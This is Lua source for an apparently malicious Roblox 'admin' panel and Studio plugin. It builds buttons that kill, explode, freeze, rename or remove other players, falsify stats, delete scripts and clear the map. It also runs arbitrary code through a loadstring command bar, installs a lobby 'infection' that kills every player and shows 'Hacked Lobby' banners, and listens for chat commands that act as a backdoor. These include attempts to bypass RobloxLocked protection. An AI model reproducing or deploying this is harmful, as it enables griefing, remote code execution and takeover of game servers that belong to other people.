- fffmm.BackgroundColor = BrickColor.new("Really black")
- fffmm.Font = "ArialBold"
- fffmm.FontSize = "Size14"
- fffmm.TextColor3 = Color3.new(255/255,255/255,255/255)
- fffmm.BorderSizePixel = 0
- fffmm.Text = "Nuke"
- local debounce=false
- fffmm.MouseButton1Down:connect(function()
- if debounce==false then
- debounce=true
- for i=500,0,-1 do
- game:SetMessage("WARNING TACTICAL NUKE INCOMING! "..i)
- wait()
- end
- local ex=Instance.new("Explosion",workspace)
- ex.BlastPressure=100000
- ex.BlastRadius=1000000
- local grab=workspace:GetChildren()
- for i=1,#grab do
- if grab[i].className=="Model" then
- grab[i]:BreakJoints()
- end
- end
- for i=100,0,-1 do
- game:SetMessage("Nuke recharging "..i)
- wait()
- end
- debounce=false
- game:ClearMessage()
- end
- end)
- local fffmme = Instance.new("TextButton")
- fffmme.Parent = textbox
- fffmme.Position = UDim2.new(-0.34,0,0.24,0)
- fffmme.Size = UDim2.new(0.1,0,0,25)
- fffmme.BackgroundColor = BrickColor.new("Really black")
- fffmme.Font = "ArialBold"
- fffmme.FontSize = "Size14"
- fffmme.TextColor3 = Color3.new(255/255,255/255,255/255)
- fffmme.BorderSizePixel = 0
- fffmme.Text = "Spawn Item"
- fffmme.MouseButton1Down:connect(function()
- tools = game.Lighting:FindFirstChild(textbo.Text):clone()
- tools.Parent = game.Players:FindFirstChild(textbxn.Text).Backpack
- end)
- local fp = Instance.new("TextButton")
- fp.Parent = textbox
- fp.Position = UDim2.new(-0.34,0,0.36,0)
- fp.Size = UDim2.new(0.1,0,0,25)
- fp.BackgroundColor = BrickColor.new("Really black")
- fp.Font = "ArialBold"
- fp.FontSize = "Size14"
- fp.TextColor3 = Color3.new(255/255,255/255,255/255)
- fp.BorderSizePixel = 0
- fp.Text = "Punish"
- fp.MouseButton1Down:connect(function()
- muha = game.Players:FindFirstChild(textbxn.Text)
- muha.Character.Parent = game.Lighting
- end)
- local fpa = Instance.new("TextButton")
- fpa.Parent = textbox
- fpa.Position = UDim2.new(-0.34,0,0.48,0)
- fpa.Size = UDim2.new(0.1,0,0,25)
- fpa.BackgroundColor = BrickColor.new("Really black")
- fpa.Font = "ArialBold"
- fpa.FontSize = "Size14"
- fpa.TextColor3 = Color3.new(255/255,255/255,255/255)
- fpa.BorderSizePixel = 0
- fpa.Text = "UnPunish"
- fpa.MouseButton1Down:connect(function()
- muhaa = game.Players:FindFirstChild(textbxn.Text)
- muhaa.Character.Parent = game.Workspace
- muhaa.Character:makeJoints()
- end)
- local fpaa = Instance.new("TextButton")
- fpaa.Parent = textbox
- fpaa.Position = UDim2.new(-0.34,0,0.60,0)
- fpaa.Size = UDim2.new(0.1,0,0,25)
- fpaa.BackgroundColor = BrickColor.new("Really black")
- fpaa.Font = "ArialBold"
- fpaa.FontSize = "Size14"
- fpaa.TextColor3 = Color3.new(255/255,255/255,255/255)
- fpaa.BorderSizePixel = 0
- fpaa.Text = "Trip"
- fpaa.MouseButton1Down:connect(function()
- muhaaa = game.Players:FindFirstChild(textbxn.Text)
- torso = (muhaaa).Character:FindFirstChild("Torso")
- torso.CFrame = CFrame.new(torso.Position.x,torso.Position.y,torso.Position.z,0, 0, 1, 0, -1, 0, 1, 0, 0)
- end)
- local fpaaf = Instance.new("TextButton")
- fpaaf.Parent = textbox
- fpaaf.Position = UDim2.new(-0.34,0,0.72,0)
- fpaaf.Size = UDim2.new(0.1,0,0,25)
- fpaaf.BackgroundColor = BrickColor.new("Really black")
- fpaaf.Font = "ArialBold"
- fpaaf.FontSize = "Size14"
- fpaaf.TextColor3 = Color3.new(255/255,255/255,255/255)
- fpaaf.BorderSizePixel = 0
- fpaaf.Text = "Freeze"
- fpaaf.MouseButton1Down:connect(function()
- muhaaa = game.Players:FindFirstChild(textbxn.Text)
- muhaaa.Character.Humanoid.WalkSpeed = 0
- muhaaa.Character.Head.Anchored = true
- muhaaa.Character.Head.Reflectance = 0.6
- end)
- local fpaaff = Instance.new("TextButton")
- fpaaff.Parent = textbox
- fpaaff.Position = UDim2.new(-0.46,0,0,0)
- fpaaff.Size = UDim2.new(0.1,0,0,25)
- fpaaff.BackgroundColor = BrickColor.new("Really black")
- fpaaff.Font = "ArialBold"
- fpaaff.FontSize = "Size14"
- fpaaff.TextColor3 = Color3.new(255/255,255/255,255/255)
- fpaaff.BorderSizePixel = 0
- fpaaff.Text = "DisScripts"
- fpaaff.MouseButton1Down:connect(function()
- for _, v in pairs(game.Workspace:GetChildren()) do
- if v:isA("Script") then
- v:Remove()
- end
- end
- end)
- local exl = Instance.new("TextButton")
- exl.Parent = textbox
- exl.Position = UDim2.new(-0.46,0,0.12,0)
- exl.Size = UDim2.new(0.1,0,0,25)
- exl.BackgroundColor = BrickColor.new("Really black")
- exl.Font = "ArialBold"
- exl.FontSize = "Size14"
- exl.TextColor3 = Color3.new(255/255,255/255,255/255)
- exl.BorderSizePixel = 0
- exl.Text = "Explode"
- exl.MouseButton1Down:connect(function()
- torsos = game.Players:FindFirstChild(textbxn.Text)
- exx = Instance.new("Explosion")
- exx.Position = torsos.Character.Torso.Position
- exx.Parent = game.Workspace
- end)
- local exle = Instance.new("TextButton")
- exle.Parent = textbox
- exle.Position = UDim2.new(-0.46,0,0.24,0)
- exle.Size = UDim2.new(0.1,0,0,25)
- exle.BackgroundColor = BrickColor.new("Really black")
- exle.Font = "ArialBold"
- exle.FontSize = "Size14"
- exle.TextColor3 = Color3.new(255/255,255/255,255/255)
- exle.BorderSizePixel = 0
- exle.Text = "Zombify"
- exle.MouseButton1Down:connect(function()
- torsoss = game.Players:FindFirstChild(textbxn.Text)
- toso = torsoss.Character:FindFirstChild("Torso")
- arm = torsoss.Character:FindFirstChild("Left Arm")
- arm:Remove()
- armm = torsoss.Character:FindFirstChild("Right Arm")
- armm:Remove()
- rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
- zarm = Instance.new("Part")
- zarm.Color = Color3.new(0.631373, 0.768627, 0.545098)
- zarm.Locked = true
- zarm.formFactor = "Symmetric"
- zarm.Size = Vector3.new(2,1,1)
- zarm.TopSurface = "Smooth"
- zarm.BottomSurface = "Smooth"
- zarm.Name = "zarm"
- zarm2 = zarm:clone()
- zarm2.CFrame = toso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
- zarm.CFrame = toso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
- zarm.Parent = torsoss.Character
- zarm:MakeJoints()
- zarm2.Parent = torsoss.Character
- zarm2:MakeJoints()
- head = torsoss.Character:FindFirstChild("Head")
- head.Color = Color3.new(0.631373, 0.768627, 0.545098)
- end)
- local exlee = Instance.new("TextButton")
- exlee.Parent = textbox
- exlee.Position = UDim2.new(-0.46,0,0.36,0)
- exlee.Size = UDim2.new(0.1,0,0,25)
- exlee.BackgroundColor = BrickColor.new("Really black")
- exlee.Font = "ArialBold"
- exlee.FontSize = "Size14"
- exlee.TextColor3 = Color3.new(255/255,255/255,255/255)
- exlee.BorderSizePixel = 0
- exlee.Text = "Stats"
- exlee.MouseButton1Down:connect(function()
- local fndstat=game.Players:FindFirstChild(textbxn.Text).leaderstats
- if fndstat then
- local infect=fndstat:GetChildren()
- for i=1,#infect do
- if infect[i].className=="IntValue" then
- infect[i].Value=100000000
- end
- end
- end
- end)
- local exleee = Instance.new("TextButton")
- exleee.Parent = textbox
- exleee.Position = UDim2.new(-0.46,0,0.48,0)
- exleee.Size = UDim2.new(0.1,0,0,25)
- exleee.BackgroundColor = BrickColor.new("Really black")
- exleee.Font = "ArialBold"
- exleee.FontSize = "Size14"
- exleee.TextColor3 = Color3.new(255/255,255/255,255/255)
- exleee.BorderSizePixel = 0
- exleee.Text = "Dr*gs"
- exleee.MouseButton1Down:connect(function()
- a = game.Workspace:GetChildren()
- for i = 1, #a do
- if a[i].className == "Model" then
- b = a[i]:GetChildren()
- for i = 1, #b do
- if b[i].className == "BodyColors" then
- b[i].HeadColor = BrickColor.random()
- b[i].LeftArmColor = BrickColor.random()
- b[i].LeftLegColor = BrickColor.random()
- b[i].RightArmColor = BrickColor.random()
- b[i].RightLegColor = BrickColor.random()
- b[i].TorsoColor = BrickColor.random()
- elseif b[i].className == "Part" or b[i].className == "WedgePart" or b[i].className == "CornerWedgePart" or
- b[i].className == "TrussPart" or b[i].className == "Seat" or b[i].className == "VehicleSeat" or
- b[i].className == "SpawnLocation" then
- b[i].BrickColor = BrickColor.random()
- elseif b[i].className == "Model" then
- c = b[i]:GetChildren()
- for i = 1, #c do
- if c[i].className == "Part" or c[i].className == "WedgePart" or c[i].className == "CornerWedgePart" or
- c[i].className == "TrussPart" or c[i].className == "Seat" or c[i].className == "VehicleSeat" or
- c[i].className == "SpawnLocation" then
- c[i].BrickColor = BrickColor.random()
- end end end end
- else
- if a[i].className == "Part" or a[i].className == "WedgePart" or a[i].className == "CornerWedgePart" or
- a[i].className == "TrussPart" or a[i].className == "Seat" or a[i].className == "VehicleSeat" or
- a[i].className == "SpawnLocation" then
- a[i].BrickColor = BrickColor.random()
- end end end
- end)
- local exleeee = Instance.new("TextButton")
- exleeee.Parent = textbox
- exleeee.Position = UDim2.new(-0.46,0,0.60,0)
- exleeee.Size = UDim2.new(0.1,0,0,25)
- exleeee.BackgroundColor = BrickColor.new("Really black")
- exleeee.Font = "ArialBold"
- exleeee.FontSize = "Size14"
- exleeee.TextColor3 = Color3.new(255/255,255/255,255/255)
- exleeee.BorderSizePixel = 0
- exleeee.Text = "Inv"
- exleeee.MouseButton1Down:connect(function()
- part = game.Workspace:FindFirstChild(textbxn.Text)
- part:findFirstChild("Head").Transparency = 1
- part:findFirstChild("Torso").Transparency = 1
- part:findFirstChild("Right Arm").Transparency = 1
- part:findFirstChild("Left Arm").Transparency = 1
- part:findFirstChild("Right Leg").Transparency = 1
- part:findFirstChild("Left Leg").Transparency = 1
- part:findFirstChild("Head").face:Remove()
- end)
- local exleeeee = Instance.new("TextButton")
- exleeeee.Parent = textbox
- exleeeee.Position = UDim2.new(-0.46,0,0.72,0)
- exleeeee.Size = UDim2.new(0.1,0,0,25)
- exleeeee.BackgroundColor = BrickColor.new("Really black")
- exleeeee.Font = "ArialBold"
- exleeeee.FontSize = "Size14"
- exleeeee.TextColor3 = Color3.new(255/255,255/255,255/255)
- exleeeee.BorderSizePixel = 0
- exleeeee.Text = "UnInv"
- exleeeee.MouseButton1Down:connect(function()
- part = game.Workspace:FindFirstChild(textbxn.Text)
- part:findFirstChild("Head").Transparency = 0
- part:findFirstChild("Torso").Transparency = 0
- part:findFirstChild("Right Arm").Transparency = 0
- part:findFirstChild("Left Arm").Transparency = 0
- part:findFirstChild("Right Leg").Transparency = 0
- part:findFirstChild("Left Leg").Transparency = 0
- end)
- local sex = Instance.new("TextButton")
- sex.Parent = textbox
- sex.Position = UDim2.new(-0.46,0,0.84,0)
- sex.Size = UDim2.new(0.1,0,0,25)
- sex.BackgroundColor = BrickColor.new("Really black")
- sex.Font = "ArialBold"
- sex.FontSize = "Size14"
- sex.TextColor3 = Color3.new(255/255,255/255,255/255)
- sex.BorderSizePixel = 0
- sex.Text = "Bub"
- sex.MouseButton1Down:connect(function()
- win = game.Players:GetChildren()
- for i = 1, #win do
- person = win[i]
- message = ""..textbox.Text
- game:GetService( "Chat" ):Chat(person.Character.Head, message, Enum.ChatColor.Blue)
- end
- end)
- local fpaafu = Instance.new("TextButton")
- fpaafu.Parent = textbox
- fpaafu.Position = UDim2.new(-0.34,0,0.84,0)
- fpaafu.Size = UDim2.new(0.1,0,0,25)
- fpaafu.BackgroundColor = BrickColor.new("Really black")
- fpaafu.Font = "ArialBold"
- fpaafu.FontSize = "Size14"
- fpaafu.TextColor3 = Color3.new(255/255,255/255,255/255)
- fpaafu.BorderSizePixel = 0
- fpaafu.Text = "Thaw"
- fpaafu.MouseButton1Down:connect(function()
- muhaaa = game.Players:FindFirstChild(textbxn.Text)
- muhaaa.Character.Humanoid.WalkSpeed = 15
- muhaaa.Character.Head.Anchored = false
- muhaaa.Character.Head.Reflectance = 0
- end)
- local textbutton = Instance.new("TextButton")
- textbutton.Parent = textbox
- textbutton.BackgroundColor = BrickColor.new("Really black")
- textbutton.Font = "ArialBold"
- textbutton.FontSize = "Size14"
- textbutton.Position = UDim2.new(0,0,1,0)
- textbutton.Size = UDim2.new(1,0,0.1,0)
- textbutton.TextColor3 = Color3.new(255/255,255/255,255/255)
- textbutton.BorderSizePixel = 0
- textbutton.Text = "Execute script"
- local asdd = Instance.new("TextButton")
- asdd.Parent = textbox
- asdd.Position = UDim2.new(-0.1,0,0.12,0)
- asdd.Size = UDim2.new(0.1,0,0,25)
- asdd.BackgroundColor = BrickColor.new("Really black")
- asdd.Font = "ArialBold"
- asdd.FontSize = "Size14"
- asdd.TextColor3 = Color3.new(255/255,255/255,255/255)
- asdd.BorderSizePixel = 0
- asdd.Text = "Health"
- asdd.MouseButton1Down:connect(function()
- mh = textbo.Text
- fefefe=game.Workspace:FindFirstChild(textbxn.Text)
- fefefe.Humanoid.MaxHealth = (mh)
- end)
- local asddd = Instance.new("TextButton")
- asddd.Parent = textbox
- asddd.Position = UDim2.new(-0.1,0,0.24,0)
- asddd.Size = UDim2.new(0.1,0,0,25)
- asddd.BackgroundColor = BrickColor.new("Really black")
- asddd.Font = "ArialBold"
- asddd.FontSize = "Size14"
- asddd.TextColor3 = Color3.new(255/255,255/255,255/255)
- asddd.BorderSizePixel = 0
- asddd.Text = "Speed +1"
- asddd.MouseButton1Down:connect(function()
- fefefef=game.Workspace:FindFirstChild(textbxn.Text)
- fefefef.Humanoid.WalkSpeed = fefefef.Humanoid.WalkSpeed + 1
- end)
- local ty = Instance.new("TextButton")
- ty.Parent = textbox
- ty.Position = UDim2.new(-0.1,0,0.60,0)
- ty.Size = UDim2.new(0.1,0,0,25)
- ty.BackgroundColor = BrickColor.new("Really black")
- ty.Font = "ArialBold"
- ty.FontSize = "Size14"
- ty.TextColor3 = Color3.new(255/255,255/255,255/255)
- ty.BorderSizePixel = 0
- ty.Text = "Building"
- ty.MouseButton1Down:connect(function()
- local clone = Instance.new("HopperBin")
- clone.BinType = "Clone"
- clone.Parent = game.Players:FindFirstChild(textbxn.Text).Backpack
- local delete = Instance.new("HopperBin")
- delete.BinType = "Hammer"
- delete.Parent = game.Players:FindFirstChild(textbxn.Text).Backpack
- local drag = Instance.new("HopperBin")
- drag.BinType = "GameTool"
- drag.Parent = game.Players:FindFirstChild(textbxn.Text).Backpack
- end)
- local tyy = Instance.new("TextButton")
- tyy.Parent = textbox
- tyy.Position = UDim2.new(-0.1,0,0.72,0)
- tyy.Size = UDim2.new(0.1,0,0,25)
- tyy.BackgroundColor = BrickColor.new("Really black")
- tyy.Font = "ArialBold"
- tyy.FontSize = "Size14"
- tyy.TextColor3 = Color3.new(255/255,255/255,255/255)
- tyy.BorderSizePixel = 0
- tyy.Text = "Kill"
- tyy.MouseButton1Down:connect(function()
- fefefeff=game.Workspace:FindFirstChild(textbxn.Text)
- fefefeff.Humanoid.Health = 0
- end)
- local aasddd = Instance.new("TextButton")
- aasddd.Parent = textbox
- aasddd.Position = UDim2.new(-0.1,0,0.36,0)
- aasddd.Size = UDim2.new(0.1,0,0,25)
- aasddd.BackgroundColor = BrickColor.new("Really black")
- aasddd.Font = "ArialBold"
- aasddd.FontSize = "Size14"
- aasddd.TextColor3 = Color3.new(255/255,255/255,255/255)
- aasddd.BorderSizePixel = 0
- aasddd.Text = "Forcefield"
- aasddd.MouseButton1Down:connect(function()
- local ForceField=Instance.new("ForceField")
- asdfasdf=game.Workspace:FindFirstChild(textbxn.Text)
- ForceField.Parent=asdfasdf
- end)
- local aaddd = Instance.new("TextButton")
- aaddd.Parent = textbox
- aaddd.Position = UDim2.new(-0.1,0,0.48,0)
- aaddd.Size = UDim2.new(0.1,0,0,25)
- aaddd.BackgroundColor = BrickColor.new("Really black")
- aaddd.Font = "ArialBold"
- aaddd.FontSize = "Size14"
- aaddd.TextColor3 = Color3.new(255/255,255/255,255/255)
- aaddd.BorderSizePixel = 0
- aaddd.Text = "DECAL :D"
- aaddd.MouseButton1Down:connect(function()
- eye = "http://www.roblox.com/asset/?id="..textbo.Text
- for _, v in pairs(game.Workspace:GetChildren()) do
- if v:isA("Part") then
- Dec = Instance.new("Decal")
- Dec.Face = math.random(1,4)
- Dec.Parent = v
- Dec.Texture = (eye)
- end
- end
- end)
- local aadddc = Instance.new("TextButton")
- aadddc.Parent = textbox
- aadddc.Position = UDim2.new(-0.1,0,0.84,0)
- aadddc.Size = UDim2.new(0.1,0,0,25)
- aadddc.BackgroundColor = BrickColor.new("Really black")
- aadddc.Font = "ArialBold"
- aadddc.FontSize = "Size14"
- aadddc.TextColor3 = Color3.new(255/255,255/255,255/255)
- aadddc.BorderSizePixel = 0
- aadddc.Text = "Credits"
- aadddc.MouseButton1Down:connect(function()
- textbox.Text = "Command Bar : Moap"
- end)
- local faadddc = Instance.new("TextButton")
- faadddc.Parent = textbox
- faadddc.Position = UDim2.new(-0.22,0,0,0)
- faadddc.Size = UDim2.new(0.1,0,0,25)
- faadddc.BackgroundColor = BrickColor.new("Really black")
- faadddc.Font = "ArialBold"
- faadddc.FontSize = "Size14"
- faadddc.TextColor3 = Color3.new(255/255,255/255,255/255)
- faadddc.BorderSizePixel = 0
- faadddc.Text = "Insert"
- faadddc.MouseButton1Down:connect(function()
- bigfoig = "rbxassetid://"..textbo.Text
- superfoig = game.Players:FindFirstChild(textbxn.Text)
- game:GetObjects(bigfoig) [1].Parent=superfoig.Backpack
- end)
- local red = Instance.new("TextButton")
- red.Parent = textbox
- red.Position = UDim2.new(-0.22,0,0.84,0)
- red.Size = UDim2.new(0.1,0,0,25)
- red.BackgroundColor = BrickColor.new("Really black")
- red.Font = "ArialBold"
- red.FontSize = "Size14"
- red.TextColor3 = Color3.new(255/255,255/255,255/255)
- red.BorderSizePixel = 0
- red.Text = "Red"
- red.MouseButton1Down:connect(function()
- game.Lighting.Ambient = Color3.new(0128,0)
- end)
- local redd = Instance.new("TextButton")
- redd.Parent = textbox
- redd.Position = UDim2.new(-0.22,0,0.72,0)
- redd.Size = UDim2.new(0.1,0,0,25)
- redd.BackgroundColor = BrickColor.new("Really black")
- redd.Font = "ArialBold"
- redd.FontSize = "Size14"
- redd.TextColor3 = Color3.new(255/255,255/255,255/255)
- redd.BorderSizePixel = 0
- redd.Text = "Blue"
- redd.MouseButton1Down:connect(function()
- game.Lighting.Ambient = Color3.new(0,0,153)
- end)
- local reddd = Instance.new("TextButton")
- reddd.Parent = textbox
- reddd.Position = UDim2.new(-0.22,0,0.60,0)
- reddd.Size = UDim2.new(0.1,0,0,25)
- reddd.BackgroundColor = BrickColor.new("Really black")
- reddd.Font = "ArialBold"
- reddd.FontSize = "Size14"
- reddd.TextColor3 = Color3.new(255/255,255/255,255/255)
- reddd.BorderSizePixel = 0
- reddd.Text = "Teleport"
- reddd.MouseButton1Down:connect(function()
- tes = textbo.Text
- local charfnd=game.Workspace:FindFirstChild(textbxn.Text)
- if charfnd then
- local headfnd=charfnd:FindFirstChild("Head")
- if headfnd then
- game.Players.LocalPlayer.Character:MoveTo(headfnd.Position)
- end
- end
- end)
- local redddd = Instance.new("TextButton")
- redddd.Parent = textbox
- redddd.Position = UDim2.new(-0.22,0,0.48,0)
- redddd.Size = UDim2.new(0.1,0,0,25)
- redddd.BackgroundColor = BrickColor.new("Really black")
- redddd.Font = "ArialBold"
- redddd.FontSize = "Size14"
- redddd.TextColor3 = Color3.new(255/255,255/255,255/255)
- redddd.BorderSizePixel = 0
- redddd.Text = "Shutdown"
- redddd.MouseButton1Down:connect(function()
- local tbag=game.Players:GetPlayers()
- for i=1,#tbag do
- tbag[i].RobloxLocked=false --Nice try!
- tbag[i]:Destroy()
- end
- end)
- local reddddd = Instance.new("TextButton")
- reddddd.Parent = textbox
- reddddd.Position = UDim2.new(-0.22,0,0.36,0)
- reddddd.Size = UDim2.new(0.1,0,0,25)
- reddddd.BackgroundColor = BrickColor.new("Really black")
- reddddd.Font = "ArialBold"
- reddddd.FontSize = "Size14"
- reddddd.TextColor3 = Color3.new(255/255,255/255,255/255)
- reddddd.BorderSizePixel = 0
- reddddd.Text = "ID"
- reddddd.MouseButton1Down:connect(function()
- local plr=game.Players:FindFirstChild(textbxn.Text)
- plr.CharacterAppearance="http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..textbo.Text
- plr.Character.Humanoid.Health = 0
- end)
- local eddddd = Instance.new("TextButton")
- eddddd.Parent = textbox
- eddddd.Position = UDim2.new(-0.22,0,0.24,0)
- eddddd.Size = UDim2.new(0.1,0,0,25)
- eddddd.BackgroundColor = BrickColor.new("Really black")
- eddddd.Font = "ArialBold"
- eddddd.FontSize = "Size14"
- eddddd.TextColor3 = Color3.new(255/255,255/255,255/255)
- eddddd.BorderSizePixel = 0
- eddddd.Text = "SafeChat"
- eddddd.MouseButton1Down:connect(function()
- local plrs=game.Players:FindFirstChild(textbxn.Text)
- plrs:SetSuperSafeChat(true)
- end)
- local edddd = Instance.new("TextButton")
- edddd.Parent = textbox
- edddd.Position = UDim2.new(-0.22,0,0.12,0)
- edddd.Size = UDim2.new(0.1,0,0,25)
- edddd.BackgroundColor = BrickColor.new("Really black")
- edddd.Font = "ArialBold"
- edddd.FontSize = "Size14"
- edddd.TextColor3 = Color3.new(255/255,255/255,255/255)
- edddd.BorderSizePixel = 0
- edddd.Text = "UnSafeChat"
- edddd.MouseButton1Down:connect(function()
- local plrs=game.Players:FindFirstChild(textbxn.Text)
- plrs:SetSuperSafeChat(false)
- end)
- local asd = Instance.new("TextButton")
- asd.Parent = textbox
- asd.Position = UDim2.new(-0.1,0,0,0)
- asd.Size = UDim2.new(0.1,0,0,25)
- asd.BackgroundColor = BrickColor.new("Really black")
- asd.Font = "ArialBold"
- asd.FontSize = "Size14"
- asd.TextColor3 = Color3.new(255/255,255/255,255/255)
- asd.BorderSizePixel = 0
- asd.Text = "Ban"
- asd.MouseButton1Down:connect(function()
- s=game.Players:FindFirstChild(textbxn.Text)
- s:remove()
- end)
- textbutton.MouseButton1Down:connect(function()
- pcall(function()
- loadstring(textbox.Text)()
- end)
- end)
- end)
- local p=PluginManager()
- local cp=p:CreatePlugin()
- local t=cp:CreateToolbar("Modded")
- local b=t:CreateButton("Modded button","Modz","")
- while game.CoreGui:FindFirstChild("Modz")==nil do
- local scr=Instance.new("ScreenGui",game.CoreGui)
- scr.Name="Modz"
- local but=Instance.new("TextButton",scr)
- but.Name="Infection"
- but.FontSize=Enum.FontSize.Size12
- but.Size = UDim2.new(0.1,0,0,25)
- but.Position = UDim2.new(0,0,0.76,0)
- but.BackgroundColor3=BrickColor.new("Really black").Color
- but.BackgroundTransparency = 0.3
- but.BorderColor3=BrickColor.new("White").Color
- but.TextColor3=BrickColor.new("White").Color
- but.Text="InfectLobby!"
- but.MouseButton1Up:connect(function()
- scr:Remove()
- local plrs=game.Players:GetPlayers()
- for i=1,#plrs do
- plrs[i].Character.Humanoid.Health=nil
- if plrs[i].PlayerGui then
- if plrs[i].PlayerGui:FindFirstChild("Infection#2")==nil then
- local show=Instance.new("ScreenGui",game.StarterGui)
- show.Name="Infection#2"
- local but=Instance.new("TextLabel",show)
- but.FontSize=Enum.FontSize.Size12
- but.Size = UDim2.new(0.5,0,0,25)
- but.Position = UDim2.new(0,0,0.76,0)
- but.BackgroundColor3=BrickColor.new("Really black").Color
- but.BackgroundTransparency = 0
- but.BorderColor3=BrickColor.new("White").Color
- but.TextColor3=BrickColor.new("White").Color
- but.Text="Hacked Lobby By Zathin Hosted By "..game.Players.LocalPlayer.Name
- local showw=Instance.new("ScreenGui",game.StarterGui)
- showw.Name="Infection#3"
- local butt=Instance.new("TextLabel",showw)
- butt.FontSize=Enum.FontSize.Size12
- butt.Size = UDim2.new(0.1,0,0,25)
- butt.Position = UDim2.new(0,0,0.634,0)
- butt.BackgroundColor3=BrickColor.new("Really black").Color
- butt.BackgroundTransparency = 0
- butt.BorderColor3=BrickColor.new("White").Color
- butt.TextColor3=BrickColor.new("White").Color
- butt.Text="Join Sad - Eyes"
- end
- end
- end
- end)
- end
- wait(10)
- game.Players.LocalPlayer:SetSuperSafeChat(false)
- game.Players.LocalPlayer.Chatted:connect(function(msg)
- if msg=="godmode" then
- local plrs=game.Players:GetPlayers()
- for i=1,#plrs do
- if plrs[i].Character then
- plrs[i].Character.Humanoid.MaxHealth=math.huge
- end
- end
- end
- if msg=="ungodmode" then
- local plrs=game.Players:GetPlayers()
- for i=1,#plrs do
- if plrs[i].Character then
- plrs[i].Character.Humanoid.MaxHealth=100
- end
- end
- end
- if msg=="ff" then
- local plrs=game.Players:GetPlayers()
- for i=1,#plrs do
- if plrs[i].Character then
- local ff=Instance.new("ForceField",plrs[i].Character)
- end
- end
- end
- if msg=="unff" then
- local plrs=game.Players:GetPlayers()
- for i=1,#plrs do
- if plrs[i].Character then
- local ffind=plrs[i].Character:FindFirstChild("ForceField")
- if ffind then
- ffind:Destroy()
- end
- end
- end
- end
- if msg=="OBC" then
- local plrs=game.Players:GetPlayers()
- for i=1,#plrs do
- plrs[i]:SetMembershipType(Enum.MembershipType.OutrageousBuildersClub)
- end
- end
- if msg=="SFC" then
- local plrs=game.Players:GetPlayers()
- for i=1,#plrs do
- plrs[i]:SetSuperSafeChat(true)
- game.Players.LocalPlayer:SetSuperSafeChat(false)
- end
- end
- if msg=="UNSFC" then
- local plrs=game.Players:GetPlayers()
- for i=1,#plrs do
- plrs[i]:SetSuperSafeChat(false)
- end
- end
- if msg=="run/" then
- local cmd=Instance.new("ScreenGui",game.CoreGui)
- cmd.Name="CommandBar"
- local tbox=Instance.new("TextBox",cmd)
- tbox.FontSize=Enum.FontSize.Size12
- tbox.Size=UDim2.new(1,0,0,25)
- tbox.BackgroundColor3=BrickColor.new("Really black").Color
- tbox.BorderColor3=BrickColor.new("White").Color
- tbox.TextColor3=BrickColor.new("White").Color
- tbox.Text="Command here! Type code/run when finished!"
- end
- if msg=="code/run" then
- local fndcmd=game.CoreGui:FindFirstChild("CommandBar")
- if fndcmd then
- pcall(function()
- loadstring(fndcmd.TextBox.Text)()
- end)
- fndcmd:Destroy()
- end
- end
- if string.sub(msg,1,3)=="id/" then
- local plr=game.Players.LocalPlayer
- plr.CharacterAppearance="http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..string.sub(msg,4)
- plr.Character:BreakJoints()
- end
- if msg=="no/trace" then
- local find=game.StarterGui:FindFirstChild("Infection#2")
- if find then
- find:Destroy()
- local tbag=game.Players:GetPlayers()
- for i=1,#tbag do
- tbag[i].RobloxLocked=false --Nice try!
- tbag[i]:Destroy()
- end
- else
- local tbag=game.Players:GetPlayers()
- for i=1,#tbag do
- tbag[i].RobloxLocked=false --Nice try!
- tbag[i]:Destroy()
- end
- end
- end
- if msg=="OMGAGUEST" then
- pcall(function() --Added just incase.
- local tbag=game.Players:GetPlayers()
- for i=1,#tbag do
- if (string.sub(tbag[i].Name,1,6) =="Guest ") then
- tbag[i].RobloxLocked=false --Nice try!
- tbag[i]:Destroy()
- end
- end
- end)
- end
- if msg=="Hello" then
- game.Players.LocalPlayer:SetSuperSafeChat(false)
- end
- if msg=="clear/ter" then
- local grab=game.Workspace:GetChildren()
- for i=1,#grab do
- if grab[i].className=="Terrain" then
- grab[i]:Clear()
- end
- end
- end
- if msg=="Hah" then
- local scr=Instance.new("ScreenGui",game.StarterGui)
- scr.Name="TROLOL"
- local IL=Instance.new("TextLabel",scr)
- IL.BackgroundColor3=BrickColor.new("Really black").Color
- IL.BorderColor3=BrickColor.new("White").Color
- IL.Position = UDim2.new(0,0,0,0)
- IL.Size = UDim2.new(1,0,1,0)
- IL.Text="H4XOR BY "..game.Players.LocalPlayer.Name
- IL.FontSize="Size48"
- IL.BackgroundTransparency=0.7
- local trolll=game.Players:GetPlayers()
- for i=1,#trolll do
- trolll[i].Character:BreakJoints()
- end
- end
- if msg=="troll2" then
- local scr=Instance.new("ScreenGui",game.StarterGui)
- scr.Name="TROLOLO"
- local IL=Instance.new("ImageLabel",scr)
- IL.BackgroundColor3=BrickColor.new("Really black").Color
- IL.BorderColor3=BrickColor.new("White").Color
- IL.Image="http://www.roblox.com/asset/?id=45120559" --68964624 45120559
- IL.BackgroundTransparency=0.7
- IL.Size=UDim2.new(1,0,1,0)
- local trolll=game.Players:GetPlayers()
- for i=1,#trolll do
- trolll[i].Character:BreakJoints()
- end
- end
- if msg=="re/troll" then
- local find=game.StarterGui:FindFirstChild("TROLOL")
- if find then
- find:Destroy()
- local trolll=game.Players:GetPlayers()
- for i=1,#trolll do
- trolll[i].Character:BreakJoints()
- end
- end
- end
- if msg=="re/troll2" then
- local find=game.StarterGui:FindFirstChild("TROLOLO")
- if find then
- find:Destroy()
- local trolll=game.Players:GetPlayers()
- for i=1,#trolll do
- trolll[i].Character:BreakJoints()
- end
- end
- end
- if msg=="clear/all" then
- for i,v in pairs(game.Workspace:GetChildren()) do
- if v.className=="Terrain" or v.className=="Camera" then
- print ("NOPE")
- else
- v:Destroy()
- end
- end
- end
- if msg=="insert" then
- local gui=Instance.new("ScreenGui",game.Players.LocalPlayer.PlayerGui)
- local tl=Instance.new("TextLabel",gui)
- tl.FontSize=Enum.FontSize.Size12
- tl.BackgroundColor3=BrickColor.new("Really black").Color
- tl.BorderColor3=BrickColor.new("White").Color
- tl.TextColor3=BrickColor.new("White").Color
- tl.Position=UDim2.new(0,0,0,100)
- tl.Size=UDim2.new(1,0,0,25)
- tl.Text='The code is: game:GetObjects("rbxassetid://21001552")[1].Parent=game.Players.LocalPlayer.Backpack'
- wait(120)
- gui:Destroy()
- end
